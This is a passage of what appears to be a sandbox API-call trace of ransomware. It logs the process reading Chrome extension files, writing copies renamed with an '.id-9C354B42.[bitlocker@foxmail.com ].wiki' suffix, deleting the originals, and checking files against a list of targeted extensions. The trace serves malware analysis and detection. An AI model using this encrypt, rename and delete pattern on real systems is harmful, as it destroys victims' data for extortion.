HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0172.542] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.542] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.543] GetLastError () returned 0x0 [0172.543] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xd1, lpOverlapped=0x0) returned 1 [0172.544] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.544] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.544] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.545] SetEndOfFile (hFile=0x1b4) returned 1 [0172.545] CloseHandle (hObject=0x1b4) returned 1 [0172.545] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.545] SetEndOfFile (hFile=0x124) returned 1 [0172.546] CloseHandle (hObject=0x124) returned 1 [0172.546] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.546] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json")) returned 1 [0172.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0172.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0172.546] lstrlenW (lpString=".doc") returned 4 [0172.546] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.546] lstrlenW (lpString=".docx") returned 5 [0172.546] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.546] lstrlenW (lpString=".pdf") returned 4 [0172.546] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.546] lstrlenW (lpString=".xls") returned 4 [0172.546] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.547] lstrlenW (lpString=".xlsx") returned 5 [0172.547] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.547] lstrlenW (lpString=".ppt") returned 4 [0172.547] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0172.547] lstrlenW (lpString=".zip") returned 4 [0172.547] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.547] lstrlenW (lpString=".rar") returned 4 [0172.547] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.547] lstrlenW (lpString=".bz2") returned 4 [0172.547] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.547] lstrlenW (lpString=".7z") returned 3 [0172.547] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0172.547] lstrlenW (lpString=".dbf") returned 4 [0172.547] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0172.547] lstrlenW (lpString=".1cd") returned 4 [0172.547] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0172.547] lstrlenW (lpString=".jpg") returned 4 [0172.547] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0172.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0172.547] lstrlenW (lpString=".doc") returned 4 [0172.547] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.547] lstrlenW (lpString=".docx") returned 5 [0172.547] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.547] lstrlenW (lpString=".pdf") returned 4 [0172.548] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.548] lstrlenW (lpString=".xls") returned 4 [0172.548] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.548] lstrlenW (lpString=".xlsx") returned 5 [0172.548] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.548] lstrlenW (lpString=".ppt") returned 4 [0172.548] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0172.548] lstrlenW (lpString=".zip") returned 4 [0172.548] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.548] lstrlenW (lpString=".rar") returned 4 [0172.548] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.548] lstrlenW (lpString=".bz2") returned 4 [0172.548] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.548] lstrlenW (lpString=".7z") returned 3 [0172.548] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0172.548] lstrlenW (lpString=".dbf") returned 4 [0172.548] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0172.548] lstrlenW (lpString=".1cd") returned 4 [0172.548] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0172.548] lstrlenW (lpString=".jpg") returned 4 [0172.548] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.548] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.549] lstrlenW (lpString="computed_hashes.json") returned 20 [0172.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0172.549] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=352) returned 1 [0172.549] CloseHandle (hObject=0x124) returned 1 [0172.549] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json")) returned 0x2020 [0172.549] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0172.549] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.549] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.079] GetLastError () returned 0x0 [0173.079] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x160, lpOverlapped=0x0) returned 1 [0173.130] WriteFile (in: hFile=0x334, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x170, lpOverlapped=0x0) returned 1 [0173.131] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.131] WriteFile (in: hFile=0x334, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0173.132] SetEndOfFile (hFile=0x334) returned 1 [0173.132] CloseHandle (hObject=0x334) returned 1 [0173.132] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.132] SetEndOfFile (hFile=0x124) returned 1 [0173.133] CloseHandle (hObject=0x124) returned 1 [0173.133] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.133] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json")) returned 1 [0173.133] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.133] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.133] lstrlenW (lpString=".doc") returned 4 [0173.133] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.133] lstrlenW (lpString=".docx") returned 5 [0173.133] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.133] lstrlenW (lpString=".pdf") returned 4 [0173.133] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.134] lstrlenW (lpString=".xls") returned 4 [0173.134] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.134] lstrlenW (lpString=".xlsx") returned 5 [0173.134] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.134] lstrlenW (lpString=".ppt") returned 4 [0173.134] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.134] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.134] lstrlenW (lpString=".zip") returned 4 [0173.134] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.134] lstrlenW (lpString=".rar") returned 4 [0173.134] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.134] lstrlenW (lpString=".bz2") returned 4 [0173.134] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.134] lstrlenW (lpString=".7z") returned 3 [0173.134] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.134] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.134] lstrlenW (lpString=".dbf") returned 4 [0173.134] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.134] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.134] lstrlenW (lpString=".1cd") returned 4 [0173.134] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.134] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.134] lstrlenW (lpString=".jpg") returned 4 [0173.134] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.134] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.134] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.134] lstrlenW (lpString=".doc") returned 4 [0173.134] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.134] lstrlenW (lpString=".docx") returned 5 [0173.135] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.135] lstrlenW (lpString=".pdf") returned 4 [0173.135] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.135] lstrlenW (lpString=".xls") returned 4 [0173.135] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.135] lstrlenW (lpString=".xlsx") returned 5 [0173.135] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.135] lstrlenW (lpString=".ppt") returned 4 [0173.135] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.135] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.135] lstrlenW (lpString=".zip") returned 4 [0173.135] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.135] lstrlenW (lpString=".rar") returned 4 [0173.135] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.135] lstrlenW (lpString=".bz2") returned 4 [0173.135] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.135] lstrlenW (lpString=".7z") returned 3 [0173.135] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.135] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.135] lstrlenW (lpString=".dbf") returned 4 [0173.135] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.135] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.135] lstrlenW (lpString=".1cd") returned 4 [0173.135] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.135] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.135] lstrlenW (lpString=".jpg") returned 4 [0173.135] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.136] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.136] lstrlenW (lpString="messages.json") returned 13 [0173.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0173.136] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=219) returned 1 [0173.136] CloseHandle (hObject=0x124) returned 1 [0173.136] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json")) returned 0x2020 [0173.136] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0173.136] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.137] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.137] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.137] GetLastError () returned 0x0 [0173.137] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xdb, lpOverlapped=0x0) returned 1 [0173.138] WriteFile (in: hFile=0x334, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.139] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.139] WriteFile (in: hFile=0x334, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.139] SetEndOfFile (hFile=0x334) returned 1 [0173.139] CloseHandle (hObject=0x334) returned 1 [0173.139] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.139] SetEndOfFile (hFile=0x124) returned 1 [0173.140] CloseHandle (hObject=0x124) returned 1 [0173.140] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.140] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json")) returned 1 [0173.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0173.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS 